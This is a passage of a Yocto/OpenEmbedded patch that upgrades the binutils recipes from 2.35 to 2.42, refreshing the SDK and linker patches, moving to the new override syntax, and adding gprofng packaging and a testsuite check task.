+ with open(os.path.join(builddir, "site.exp"), "w") as f:
+ f.write(generate_site_exp(d, i))
+}
+
+CHECK_TARGETS ??= "binutils gas ld"
+
+do_check[dirs] = "${B} ${B}/binutils ${B}/gas ${B}/ld"
+do_check[prefuncs] += "check_prepare"
+do_check[nostamp] = "1"
+do_check() {
+ export LC_ALL=C
+ for i in ${CHECK_TARGETS}; do
+ (cd ${B}/$i; runtest \
+ --tool $i \
+ --srcdir ${S}/$i/testsuite \
+ --ignore 'plugin.exp' \
+ || true)
+ done
+}
+addtask check after do_configure
diff --git a/meta/recipes-devtools/binutils/binutils-cross.inc b/meta/recipes-devtools/binutils/binutils-cross.inc
index 02ec891606..835d4fa69b 100644
--- a/meta/recipes-devtools/binutils/binutils-cross.inc
+++ b/meta/recipes-devtools/binutils/binutils-cross.inc
@@ -16,6 +16,7 @@ SRC_URI += "file://0002-binutils-cross-Do-not-generate-linker-script-directo.pat
# and mean the linker scripts have to be relocated.
EXTRA_OECONF += "--with-sysroot=${STAGING_DIR_TARGET} \
--disable-install-libbfd \
+ --disable-gprofng \
--enable-poison-system-directories \
--with-lib-path==${target_base_libdir}:=${target_libdir} \
"
diff --git a/meta/recipes-devtools/binutils/binutils-cross_2.35.bb b/meta/recipes-devtools/binutils/binutils-cross_2.42.bb
index fbd1f7d25a..fbd1f7d25a 100644
--- a/meta/recipes-devtools/binutils/binutils-cross_2.35.bb
+++ b/meta/recipes-devtools/binutils/binutils-cross_2.42.bb
diff --git a/meta/recipes-devtools/binutils/binutils-crosssdk_2.35.bb b/meta/recipes-devtools/binutils/binutils-crosssdk_2.35.bb
deleted file mode 100644
index 37f4d6d2e9..0000000000
--- a/meta/recipes-devtools/binutils/binutils-crosssdk_2.35.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require binutils-cross_${PV}.bb
-
-inherit crosssdk
-
-PN = "binutils-crosssdk-${SDK_SYS}"
-
-PROVIDES = "virtual/${TARGET_PREFIX}binutils-crosssdk"
-
-SRC_URI += "file://0001-binutils-crosssdk-Generate-relocatable-SDKs.patch"
-
-do_configure_prepend () {
- sed -i 's#/usr/local/lib /lib /usr/lib#${SDKPATHNATIVE}/lib ${SDKPATHNATIVE}/usr/lib /usr/local/lib /lib /usr/lib#' ${S}/ld/configure.tgt
-}
diff --git a/meta/recipes-devtools/binutils/binutils-crosssdk_2.42.bb b/meta/recipes-devtools/binutils/binutils-crosssdk_2.42.bb
new file mode 100644
index 0000000000..6752659304
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils-crosssdk_2.42.bb
@@ -0,0 +1,11 @@
+require binutils-cross_${PV}.bb
+
+inherit crosssdk
+
+PN = "binutils-crosssdk-${SDK_SYS}"
+
+SRC_URI += "file://0001-binutils-crosssdk-Generate-relocatable-SDKs.patch"
+
+do_configure:prepend () {
+ sed -i 's#/usr/local/lib /lib /usr/lib#${SDKPATHNATIVE}/lib ${SDKPATHNATIVE}/usr/lib /usr/local/lib /lib /usr/lib#' ${S}/ld/configure.tgt
+}
diff --git a/meta/recipes-devtools/binutils/binutils.inc b/meta/recipes-devtools/binutils/binutils.inc
index e93cd50b20..e176b5cff1 100644
--- a/meta/recipes-devtools/binutils/binutils.inc
+++ b/meta/recipes-devtools/binutils/binutils.inc
@@ -9,22 +9,23 @@ object information), and other tools and related libraries."
HOMEPAGE = "http://www.gnu.org/software/binutils/"
BUGTRACKER = "http://sourceware.org/bugzilla/"
SECTION = "devel"
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
DEPENDS = "flex-native bison-native zlib-native gnu-config-native autoconf-native"
-inherit autotools gettext multilib_header texinfo
+inherit autotools gettext multilib_header pkgconfig texinfo
-FILES_${PN} = " \
+FILES:${PN} = " \
${bindir}/${TARGET_PREFIX}* \
${libdir}/lib*.so.* \
+ ${libdir}/bfd-plugins/lib*.so \
${libdir}/lib*-${PV}*.so \
${prefix}/${TARGET_SYS}/bin/* \
${bindir}/embedspu"
-RPROVIDES_${PN} += "${PN}-symlinks"
+RPROVIDES:${PN} += "${PN}-symlinks"
-FILES_${PN}-dev = " \
+FILES:${PN}-dev = " \
${includedir} \
${libdir}/*.la \
${libdir}/libbfd.so \
@@ -32,13 +33,34 @@ FILES_${PN}-dev = " \
${libdir}/libctf-nobfd.so \
${libdir}/libopcodes.so"
+FILES:${PN}-staticdev += "${libdir}/gprofng/*.a"
+
# Rather than duplicating multiple entries for these, make one
# list and reuse it.
+GPROFNGS = " \
+ gp-archive \
+ gp-collect-app \
+ gp-display-html \
+ gp-display-src \
+ gp-display-text \
+ gprofng \
+"
+
+# it disables gprofng for clang and musl in the bb file
+GPROFNGS:toolchain-clang = ""
+GPROFNGS:libc-musl = ""
+
+GPROFNG_ALTS ?= ""
+GPROFNG_ALTS:x86 = "${GPROFNGS}"
+GPROFNG_ALTS:x86-64 = "${GPROFNGS}"
+GPROFNG_ALTS:aarch64 = "${GPROFNGS}"
+
LDGOLD_ALTS ?= "ld.gold dwp"
-LDGOLD_ALTS_riscv64 = ""
-LDGOLD_ALTS_riscv32 = ""
-LDGOLD_ALTS_libc-glibc_mipsarch = ""
+LDGOLD_ALTS:riscv64 = ""
+LDGOLD_ALTS:riscv32 = ""
+LDGOLD_ALTS:loongarch64 = ""
+LDGOLD_ALTS:libc-glibc:mipsarch = ""
USE_ALTERNATIVES_FOR = " \
addr2line \
@@ -47,6 +69,7 @@ USE_ALTERNATIVES_FOR = " \
c++filt \
elfedit \
gprof \
+ ${GPROFNG_ALTS} \
ld \
ld.bfd \
${LDGOLD_ALTS} \
@@ -60,7 +83,7 @@ USE_ALTERNATIVES_FOR = " \
strip \
"
-python do_package_prepend() {
+python do_package:prepend() {
make_alts = d.getVar("USE_ALTERNATIVES_FOR") or ""
prefix = d.getVar("TARGET_PREFIX")
bindir = d.getVar("bindir")
@@ -75,6 +98,7 @@ EXTRA_OECONF = "--program-prefix=${TARGET_PREFIX} \
--disable-werror \
--enable-deterministic-archives \
--enable-plugins \
+ --enable-new-dtags \
--disable-gdb \
--disable-gdbserver \
--disable-libdecnumber \
@@ -85,12 +109,12 @@ EXTRA_OECONF = "--program-prefix=${TARGET_PREFIX} \
${@bb.utils.contains('DISTRO_FEATURES', 'multiarch', '--enable-64-bit-bfd', '', d)}"
EXTRA_TARGETS = ""
-EXTRA_TARGETS_x86-64 = " --enable-targets=x86_64-pe,x86_64-pep "
-EXTRA_TARGETS_class-native = ""
+EXTRA_TARGETS:x86-64 = " --enable-targets=x86_64-pe,x86_64-pep "
+EXTRA_TARGETS:class-native = ""
-LDGOLD_class-native = ""
-LDGOLD_class-crosssdk = ""
-LDGOLD_libc-glibc_mipsarch = ""
+LDGOLD:class-native = ""
+LDGOLD:class-crosssdk = ""
+LDGOLD:libc-glibc:mipsarch = ""
LDGOLD ?= "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', '--enable-gold=default --enable-threads', '--enable-gold --enable-ld=default --enable-threads', d)}"
@@ -169,17 +193,15 @@ do_install () {
done
oe_multilib_header bfd.h
- # bfd_stdint.h encodes the compiler name in the header
- sed -i ${D}${includedir}/bfd_stdint.h -e "s,${TARGET_PREFIX},,"
}
inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN}_class-target = "${USE_ALTERNATIVES_FOR}"
+ALTERNATIVE:${PN}:class-target = "${USE_ALTERNATIVES_FOR}"
python () {
- if bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', True, False, d) and bb.utils.contains_any('TARGET_ARCH', 'riscv32 riscv64', True, False, d):
- bb.fatal("Gold linker does not _yet_ support RISC-V architecture please remove ld-is-gold from DISTRO_FEATURES")
+ if bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', True, False, d) and bb.utils.contains_any('TARGET_ARCH', 'riscv32 riscv64 loongarch64', True, False, d):
+ bb.fatal("Gold linker does not _yet_ support RISC-V and LoongArch architecture please remove ld-is-gold from DISTRO_FEATURES")
}
diff --git a/meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch b/meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch
index 0e62d47616..4ef11c56e7 100644
--- a/meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch
+++ b/meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch
@@ -1,27 +1,43 @@
-From b8d182865081d17549fb9a4b9bc3062b526caf65 Mon Sep 17 00:00:00 2001
+From 089ee95b342e79af09258b45c888a13b35fadf26 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 2 Mar 2015 01:58:54 +0000
-Subject: [PATCH 01/17] binutils-crosssdk: Generate relocatable SDKs
+Subject: [PATCH] binutils-crosssdk: Generate relocatable SDKs
This patch will modify the ELF linker scripts so that the crosssdk
linker will generate binaries with a 4096 bytes PT_INTERP section. When the binaries
will be relocated, at SDK install time, the interpreter path can be easily
changed by the relocating script.
+generate larger .interp section for gold linker as well
+
Upstream-Status: Inappropriate [SDK specific]
Signed-off-by: Laurentiu Palcu <laurentiu.palcu@intel.com>
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
+ gold/layout.cc | 2 +-
ld/genscripts.sh | 3 +++
ld/scripttempl/elf.sc | 4 ++--
- 2 files changed, 5 insertions(+), 2 deletions(-)
+ 3 files changed, 6 insertions(+), 3 deletions(-)
+diff --git a/gold/layout.cc b/gold/layout.cc
+index b43ae841a6c..6101a95195b 100644
+--- a/gold/layout.cc
++++ b/gold/layout.cc
+@@ -5102,7 +5102,7 @@ Layout::create_interp(const Target* target)
+ gold_assert(interp != NULL);
+ }
+
+- size_t len = strlen(interp) + 1;
++ size_t len = 4096;
+
+ Output_section_data* odata = new Output_data_const(interp, len, 1);
+
diff --git a/ld/genscripts.sh b/ld/genscripts.sh
-index 03392d265c7..435689ea144 100755
+index d6ceb3fe4f5..365c0e778cc 100755
--- a/ld/genscripts.sh
+++ b/ld/genscripts.sh
-@@ -304,6 +304,7 @@ DATA_ALIGNMENT_u="${DATA_ALIGNMENT_u-${DATA_ALIGNMENT_r}}"
+@@ -298,6 +298,7 @@ DATA_ALIGNMENT_u="${DATA_ALIGNMENT_u-${DATA_ALIGNMENT_r}}"
LD_FLAG=r
DATA_ALIGNMENT=${DATA_ALIGNMENT_r}
DEFAULT_DATA_ALIGNMENT="ALIGN(${SEGMENT_SIZE})"
@@ -29,7 +45,7 @@ index 03392d265c7..435689ea144 100755
( echo "/* Script for -r */"
source_sh ${CUSTOMIZER_SCRIPT}
source_sh ${srcdir}/scripttempl/${SCRIPT_NAME}.sc
-@@ -312,10 +313,12 @@ DEFAULT_DATA_ALIGNMENT="ALIGN(${SEGMENT_SIZE})"
+@@ -306,10 +307,12 @@ DEFAULT_DATA_ALIGNMENT="ALIGN(${SEGMENT_SIZE})"
LD_FLAG=u
DATA_ALIGNMENT=${DATA_ALIGNMENT_u}
CONSTRUCTING=" "
@@ -43,10 +59,10 @@ index 03392d265c7..435689ea144 100755
DATA_ALIGNMENT=${DATA_ALIGNMENT_}
RELOCATING=" "
diff --git a/ld/scripttempl/elf.sc b/ld/scripttempl/elf.sc
-index 0b8b32a4407..ee6b71075d7 100644
+index fae7c2ad71c..7fe37eb1874 100644
--- a/ld/scripttempl/elf.sc
+++ b/ld/scripttempl/elf.sc
-@@ -140,8 +140,8 @@ if test -z "$DATA_SEGMENT_ALIGN"; then
+@@ -150,8 +150,8 @@ if test -z "$DATA_SEGMENT_ALIGN"; then
DATA_SEGMENT_RELRO_END=". = DATA_SEGMENT_RELRO_END (${SEPARATE_GOTPLT-0}, .);"
fi
fi
@@ -57,6 +73,3 @@ index 0b8b32a4407..ee6b71075d7 100644
fi
if test -z "$PLT"; then
IPLT=".iplt ${RELOCATING-0} : { *(.iplt) }"
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch b/meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch
index 41dff05b25..1652473bcb 100644
--- a/meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch
+++ b/meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch
@@ -1,8 +1,7 @@
-From 0d14f8f333a9b519202246ce779f3e380491826c Mon Sep 17 00:00:00 2001
+From 6fae7afeb713a60755e17443964e46190bb97ede Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 6 Mar 2017 23:37:05 -0800
-Subject: [PATCH 02/17] binutils-cross: Do not generate linker script
- directories
+Subject: [PATCH] binutils-cross: Do not generate linker script directories
We don't place target libraries within ${exec_prefix}, we'd always place these
within the target sysroot within the standard library directories. Worse, the
@@ -23,10 +22,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 25 deletions(-)
diff --git a/ld/genscripts.sh b/ld/genscripts.sh
-index 435689ea144..cff8a1467f9 100755
+index 365c0e778cc..b0893fda3c5 100755
--- a/ld/genscripts.sh
+++ b/ld/genscripts.sh
-@@ -235,31 +235,6 @@ append_to_lib_path()
+@@ -229,31 +229,6 @@ append_to_lib_path()
fi
}
@@ -58,6 +57,3 @@ index 435689ea144..cff8a1467f9 100755
if [ "x${LIB_PATH}" = "x" ] && [ "x${USE_LIBPATH}" = xyes ] ; then
libs=${NATIVE_LIB_DIRS}
if [ "x${NATIVE}" = "xyes" ] ; then
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch b/meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch
index 28daf58f74..f45690ed68 100644
--- a/meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch
+++ b/meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch
@@ -1,8 +1,8 @@
-From 3bbec749ec9fe681ade6812c48c541a752fcffd5 Mon Sep 17 00:00:00 2001
+From 1fe9aa3f25e09281cb018b29081db4cc44bdc01f Mon Sep 17 00:00:00 2001
From: Richard Purdie <richard.purdie@linuxfoundation.org>
Date: Wed, 19 Feb 2020 09:51:16 -0800
-Subject: [PATCH 03/17] binutils-nativesdk: Search for alternative ld.so.conf
- in SDK installation
+Subject: [PATCH] binutils-nativesdk: Search for alternative ld.so.conf in SDK
+ installation
We need binutils to look at our ld.so.conf file within the SDK to ensure
we search the SDK's libdirs as well as those from the host system.
@@ -29,51 +29,51 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
5 files changed, 7 insertions(+), 3 deletions(-)
diff --git a/ld/Makefile.am b/ld/Makefile.am
-index 02c4fc16395..a5762227f0a 100644
+index f9ee05b1400..07801c2c3ac 100644
--- a/ld/Makefile.am
+++ b/ld/Makefile.am
@@ -42,7 +42,8 @@ ZLIBINC = @zlibinc@
- ELF_CLFAGS=-DELF_LIST_OPTIONS=@elf_list_options@ \
+ ELF_CFLAGS=-DELF_LIST_OPTIONS=@elf_list_options@ \
-DELF_SHLIB_LIST_OPTIONS=@elf_shlib_list_options@ \
- -DELF_PLT_UNWIND_LIST_OPTIONS=@elf_plt_unwind_list_options@
+ -DELF_PLT_UNWIND_LIST_OPTIONS=@elf_plt_unwind_list_options@ \
+ -DSYSCONFDIR="\"$(sysconfdir)\""
WARN_CFLAGS = @WARN_CFLAGS@
NO_WERROR = @NO_WERROR@
- AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
+ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CFLAGS) $(JANSSON_CFLAGS) $(ZSTD_CFLAGS)
diff --git a/ld/Makefile.in b/ld/Makefile.in
-index 2fe12e14f63..8f0c83ac8d2 100644
+index abb0565718f..6329a12a0d6 100644
--- a/ld/Makefile.in
+++ b/ld/Makefile.in
-@@ -548,7 +548,8 @@ ZLIB = @zlibdir@ -lz
+@@ -576,7 +576,8 @@ ZLIB = @zlibdir@ -lz
ZLIBINC = @zlibinc@
- ELF_CLFAGS = -DELF_LIST_OPTIONS=@elf_list_options@ \
+ ELF_CFLAGS = -DELF_LIST_OPTIONS=@elf_list_options@ \
-DELF_SHLIB_LIST_OPTIONS=@elf_shlib_list_options@ \
- -DELF_PLT_UNWIND_LIST_OPTIONS=@elf_plt_unwind_list_options@
+ -DELF_PLT_UNWIND_LIST_OPTIONS=@elf_plt_unwind_list_options@ \
+ -DSYSCONFDIR="\"$(sysconfdir)\""
- AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
+ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CFLAGS) $(JANSSON_CFLAGS) $(ZSTD_CFLAGS)
diff --git a/ld/ldelf.c b/ld/ldelf.c
-index bada3ade2d7..b4784009d7a 100644
+index 2852851dcd5..187b359af86 100644
--- a/ld/ldelf.c
+++ b/ld/ldelf.c
-@@ -911,7 +911,7 @@ ldelf_check_ld_so_conf (const struct bfd_link_needed_list *l, int force,
+@@ -939,7 +939,7 @@ ldelf_check_ld_so_conf (const struct bfd_link_needed_list *l, int force,
info.path = NULL;
info.len = info.alloc = 0;
- tmppath = concat (ld_sysroot, prefix, "/etc/ld.so.conf",
-+ tmppath = concat (ld_sysconfdir, "/etc/ld.so.conf",
++ tmppath = concat (ld_sysconfdir, "/ld.so.conf",
(const char *) NULL);
if (!ldelf_parse_ld_so_conf (&info, tmppath))
{
diff --git a/ld/ldmain.c b/ld/ldmain.c
-index 08be9030cb5..f5c5a336320 100644
+index e90c2021b33..01b306e58a1 100644
--- a/ld/ldmain.c
+++ b/ld/ldmain.c
-@@ -70,6 +70,7 @@ char *program_name;
+@@ -69,6 +69,7 @@ char *program_name;
/* The prefix for system library directories. */
const char *ld_sysroot;
@@ -82,7 +82,7 @@ index 08be9030cb5..f5c5a336320 100644
/* The canonical representation of ld_sysroot. */
char *ld_canon_sysroot;
diff --git a/ld/ldmain.h b/ld/ldmain.h
-index ac7db5720d5..1cbe1771912 100644
+index 0238aed0ebd..2dd00db13b3 100644
--- a/ld/ldmain.h
+++ b/ld/ldmain.h
@@ -23,6 +23,7 @@
@@ -93,6 +93,3 @@ index ac7db5720d5..1cbe1771912 100644
extern char *ld_canon_sysroot;
extern int ld_canon_sysroot_len;
extern FILE *saved_script_handle;
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0004-Point-scripts-location-to-libdir.patch b/meta/recipes-devtools/binutils/binutils/0004-Point-scripts-location-to-libdir.patch
new file mode 100644
index 0000000000..ab12c145ea
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0004-Point-scripts-location-to-libdir.patch
@@ -0,0 +1,39 @@
+From 780109902b00652dfdc080607c614f210e96ae9b Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 2 Mar 2015 01:09:58 +0000
+Subject: [PATCH] Point scripts location to libdir
+
+Upstream-Status: Inappropriate [debian patch]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ld/Makefile.am | 2 +-
+ ld/Makefile.in | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/ld/Makefile.am b/ld/Makefile.am
+index 07801c2c3ac..a2bcffecf73 100644
+--- a/ld/Makefile.am
++++ b/ld/Makefile.am
+@@ -51,7 +51,7 @@ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CFLAGS) $(JANSSON_CFLAGS) $(ZSTD_CFLAGS)
+ # We put the scripts in the directory $(scriptdir)/ldscripts.
+ # We can't put the scripts in $(datadir) because the SEARCH_DIR
+ # directives need to be different for native and cross linkers.
+-scriptdir = $(tooldir)/lib
++scriptdir = $(libdir)
+
+ EMUL = @EMUL@
+ EMULATION_OFILES = @EMULATION_OFILES@
+diff --git a/ld/Makefile.in b/ld/Makefile.in
+index 6329a12a0d6..15311048855 100644
+--- a/ld/Makefile.in
++++ b/ld/Makefile.in
+@@ -584,7 +584,7 @@ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CFLAGS) $(JANSSON_CFLAGS) $(ZSTD_CFLAGS)
+ # We put the scripts in the directory $(scriptdir)/ldscripts.
+ # We can't put the scripts in $(datadir) because the SEARCH_DIR
+ # directives need to be different for native and cross linkers.
+-scriptdir = $(tooldir)/lib
++scriptdir = $(libdir)
+ BASEDIR = $(srcdir)/..
+ BFDDIR = $(BASEDIR)/bfd
+ INCDIR = $(BASEDIR)/include
diff --git a/meta/recipes-devtools/binutils/binutils/0004-configure-widen-the-regexp-for-SH-architectures.patch b/meta/recipes-devtools/binutils/binutils/0004-configure-widen-the-regexp-for-SH-architectures.patch
deleted file mode 100644
index 2381c7b85e..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0004-configure-widen-the-regexp-for-SH-architectures.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 361c2c313196c095d12d17cecf0a069107dd629b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 01:07:33 +0000
-Subject: [PATCH 04/17] configure: widen the regexp for SH architectures
-
-gprof needs to know about uclibc
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- configure | 2 +-
- configure.ac | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/configure b/configure
-index 54d0339ab9e..6782f8b6ab8 100755
---- a/configure
-+++ b/configure
-@@ -3937,7 +3937,7 @@ case "${target}" in
- nvptx*-*-*)
- noconfigdirs="$noconfigdirs target-libssp target-libstdc++-v3 target-libobjc"
- ;;
-- sh-*-*)
-+ sh*-*-* | sh64-*-*)
- case "${target}" in
- sh*-*-elf)
- ;;
-diff --git a/configure.ac b/configure.ac
-index a910c4fd6ba..55beb1dea46 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -1178,7 +1178,7 @@ case "${target}" in
- nvptx*-*-*)
- noconfigdirs="$noconfigdirs target-libssp target-libstdc++-v3 target-libobjc"
- ;;
-- sh-*-*)
-+ sh*-*-* | sh64-*-*)
- case "${target}" in
- sh*-*-elf)
- ;;
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0005-Point-scripts-location-to-libdir.patch b/meta/recipes-devtools/binutils/binutils/0005-Point-scripts-location-to-libdir.patch
deleted file mode 100644
index c31a0bc9a6..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0005-Point-scripts-location-to-libdir.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 39b478b7e52fb1b892a392f3c3750b9023cfabc8 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 01:09:58 +0000
-Subject: [PATCH 05/17] Point scripts location to libdir
-
-Upstream-Status: Inappropriate [debian patch]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ld/Makefile.am | 2 +-
- ld/Makefile.in | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/ld/Makefile.am b/ld/Makefile.am
-index a5762227f0a..e1c665898f3 100644
---- a/ld/Makefile.am
-+++ b/ld/Makefile.am
-@@ -51,7 +51,7 @@ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
- # We put the scripts in the directory $(scriptdir)/ldscripts.
- # We can't put the scripts in $(datadir) because the SEARCH_DIR
- # directives need to be different for native and cross linkers.
--scriptdir = $(tooldir)/lib
-+scriptdir = $(libdir)
-
- EMUL = @EMUL@
- EMULATION_OFILES = @EMULATION_OFILES@
-diff --git a/ld/Makefile.in b/ld/Makefile.in
-index 8f0c83ac8d2..acc24ec4130 100644
---- a/ld/Makefile.in
-+++ b/ld/Makefile.in
-@@ -556,7 +556,7 @@ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
- # We put the scripts in the directory $(scriptdir)/ldscripts.
- # We can't put the scripts in $(datadir) because the SEARCH_DIR
- # directives need to be different for native and cross linkers.
--scriptdir = $(tooldir)/lib
-+scriptdir = $(libdir)
- BASEDIR = $(srcdir)/..
- BFDDIR = $(BASEDIR)/bfd
- INCDIR = $(BASEDIR)/include
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0005-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch b/meta/recipes-devtools/binutils/binutils/0005-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch
new file mode 100644
index 0000000000..f7c3987542
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0005-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch
@@ -0,0 +1,32 @@
+From c8cca8d2364c9f233d6e771136a4d4ff7f405c21 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 2 Mar 2015 01:39:01 +0000
+Subject: [PATCH] don't let the distro compiler point to the wrong installation
+ location
+
+Thanks to RP for helping find the source code causing the issue.
+
+2010/08/13
+Nitin A Kamble <nitin.a.kamble@intel.com>
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libiberty/Makefile.in | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/libiberty/Makefile.in b/libiberty/Makefile.in
+index 85c4b6b6ef8..cb6e91c8f9b 100644
+--- a/libiberty/Makefile.in
++++ b/libiberty/Makefile.in
+@@ -385,7 +385,8 @@ install-strip: install
+ # multilib-specific flags, it's overridden by FLAGS_TO_PASS from the
+ # default multilib, so we have to take CFLAGS into account as well,
+ # since it will be passed the multilib flags.
+-MULTIOSDIR = `$(CC) $(CFLAGS) -print-multi-os-directory`
++#MULTIOSDIR = `$(CC) $(CFLAGS) -print-multi-os-directory`
++MULTIOSDIR = ""
+ install_to_libdir: all
+ if test -n "${target_header_dir}"; then \
+ ${mkinstalldirs} $(DESTDIR)$(libdir)/$(MULTIOSDIR); \
diff --git a/meta/recipes-devtools/binutils/binutils/0006-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch b/meta/recipes-devtools/binutils/binutils/0006-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch
deleted file mode 100644
index 654b64ff78..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0006-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 59640ddf11104a604ccf7c078a48359d711c2f9c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 01:27:17 +0000
-Subject: [PATCH 06/17] Only generate an RPATH entry if LD_RUN_PATH is not
- empty
-
-for cases where -rpath isn't specified. debian (#151024)
-
-Upstream-Status: Pending
-
-Signed-off-by: Chris Chimelis <chris@debian.org>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ld/ldelf.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/ld/ldelf.c b/ld/ldelf.c
-index b4784009d7a..541772f4604 100644
---- a/ld/ldelf.c
-+++ b/ld/ldelf.c
-@@ -1247,6 +1247,8 @@ ldelf_after_open (int use_libpath, int native, int is_linux, int is_freebsd,
- && command_line.rpath == NULL)
- {
- path = (const char *) getenv ("LD_RUN_PATH");
-+ if ((path) && (strlen (path) == 0))
-+ path = NULL;
- if (path
- && ldelf_search_needed (path, &n, force,
- is_linux, elfsize))
-@@ -1605,6 +1607,8 @@ ldelf_before_allocation (char *audit, char *depaudit,
- rpath = command_line.rpath;
- if (rpath == NULL)
- rpath = (const char *) getenv ("LD_RUN_PATH");
-+ if ((rpath) && (strlen (rpath) == 0))
-+ rpath = NULL;
-
- for (abfd = link_info.input_bfds; abfd; abfd = abfd->link.next)
- if (bfd_get_flavour (abfd) == bfd_target_elf_flavour)
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0006-warn-for-uses-of-system-directories-when-cross-linki.patch b/meta/recipes-devtools/binutils/binutils/0006-warn-for-uses-of-system-directories-when-cross-linki.patch
new file mode 100644
index 0000000000..bf6a1a3961
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0006-warn-for-uses-of-system-directories-when-cross-linki.patch
@@ -0,0 +1,287 @@
+From a92c46e3703d038d7d810bdc91e8540ad9d9150a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 15 Jan 2016 06:31:09 +0000
+Subject: [PATCH] warn for uses of system directories when cross linking
+
+2008-07-02 Joseph Myers <joseph@codesourcery.com>
+
+ ld/
+ * ld.h (args_type): Add error_poison_system_directories.
+ * ld.texinfo (--error-poison-system-directories): Document.
+ * ldfile.c (ldfile_add_library_path): Check
+ command_line.error_poison_system_directories.
+ * ldmain.c (main): Initialize
+ command_line.error_poison_system_directories.
+ * lexsup.c (enum option_values): Add
+ OPTION_ERROR_POISON_SYSTEM_DIRECTORIES.
+ (ld_options): Add --error-poison-system-directories.
+ (parse_args): Handle new option.
+
+2007-06-13 Joseph Myers <joseph@codesourcery.com>
+
+ ld/
+ * config.in: Regenerate.
+ * ld.h (args_type): Add poison_system_directories.
+ * ld.texinfo (--no-poison-system-directories): Document.
+ * ldfile.c (ldfile_add_library_path): Check
+ command_line.poison_system_directories.
+ * ldmain.c (main): Initialize
+ command_line.poison_system_directories.
+ * lexsup.c (enum option_values): Add
+ OPTION_NO_POISON_SYSTEM_DIRECTORIES.
+ (ld_options): Add --no-poison-system-directories.
